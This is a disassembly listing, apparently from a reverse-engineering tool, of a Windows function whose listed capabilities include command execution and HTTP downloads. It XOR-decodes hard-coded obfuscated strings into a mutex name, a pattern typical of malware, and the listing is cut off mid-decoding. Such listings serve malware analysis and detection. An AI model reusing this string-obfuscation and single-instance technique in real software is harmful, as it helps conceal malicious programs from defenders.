Function at 0x140040208
Capabilities:
Accept command line arguments
Create http request
Create process on windows
Execute command
Read data from internet
Receive data
Terminate process

Disassembly:
push rdi
mov eax, 0x2fc0
call fcn.140088850
sub rsp, rax
mov rax, qword [0x1400de010]
xor rax, rsp
mov qword [rsp + 0x2fb0], rax
mov dword [rsp + 0xdc], 0
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0xe8], rax
lea rdx, [rsp + 0x1d10]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx eax, word [rsp + 0x1d18]
mov word [rsp + 0xe4], ax
lea rax, [0x1400266c0]
mov qword [rsp + 0x4b8], rax
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0x4c0], rax
mov rdx, qword [rsp + 0x4c0]
lea rcx, [rsp + 0x1030]
call fcn.140063c04
nop
mov byte [rsp + 0x18d0], 0x60
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18d1], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18d2], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18d3], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18d4], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18d5], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18d6], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18d7], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18d8], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18d9], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18da], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18db], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18dc], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18dd], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18de], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18df], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18e0], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18e1], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18e2], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18e3], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18e4], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18e5], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18e6], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18e7], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18e8], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18e9], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ea], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18eb], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ec], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ed], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ee], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ef], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18f0], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18f1], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18f2], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18f3], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18f4], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18f5], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18f6], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18f7], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18f8], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18f9], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18fa], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18fb], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18fc], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18fd], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x2d
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18fe], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x2e
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x18ff], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x2f
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1900], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x30
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1901], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x31
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1902], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x32
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1903], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x33
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1904], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x34
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1905], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x35
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1906], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x36
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1907], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x37
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1908], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x38
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1909], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x39
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x190a], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x3a
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x190b], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x3b
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x190c], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x3c
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x190d], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x3d
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x190e], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x3e
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x190f], al
movsx eax, byte [rsp + 0x18d0]
mov ecx, 1
imul rcx, rcx, 0x3f
lea rdx, str.CVasdasdasdhnIjfUtxUvddaNk6DADAD7f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1910], al
lea rax, [rsp + 0x1911]
lea rax, [rsp + 0x1911]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x1f8], 0
jmp 0x140040cad
mov rax, qword [rsp + 0x1f8]
inc rax
mov qword [rsp + 0x1f8], rax
cmp qword [rsp + 0x1f8], 0x40
jae 0x140040d17
mov rax, qword [rsp + 0x1f8]
lea rax, [rsp + rax + 0x18d1]
mov qword [rsp + 0x4c8], rax
mov rax, qword [rsp + 0x4c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18d0]
xor eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x1f8]
lea rax, [rsp + rax + 0x18d1]
mov qword [rsp + 0x4d0], rax
mov rax, qword [rsp + 0x4d0]
mov cl, byte [rsp + 0xcf]
mov byte [rax], cl
jmp 0x140040c9a
mov eax, 0x40
imul rax, rax, 1
lea rax, [rsp + rax + 0x18d1]
mov qword [rsp + 0x4d8], rax
mov rax, qword [rsp + 0x4d8]
mov byte [rax], 0
lea rax, [rsp + 0x18d1]
mov qword [rsp + 0x4e0], rax
mov r8, qword [rsp + 0x4e0]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov qword [rsp + 0x400], rax
cmp qword [rsp + 0x400], 0
jne 0x1400418f9
mov byte [rsp + 0x1920], 0x16
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1921], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1922], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1923], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1924], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1925], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1926], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1927], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1928], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1929], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x192a], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x192b], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x192c], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x192d], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x192e], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x192f], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1930], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1931], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
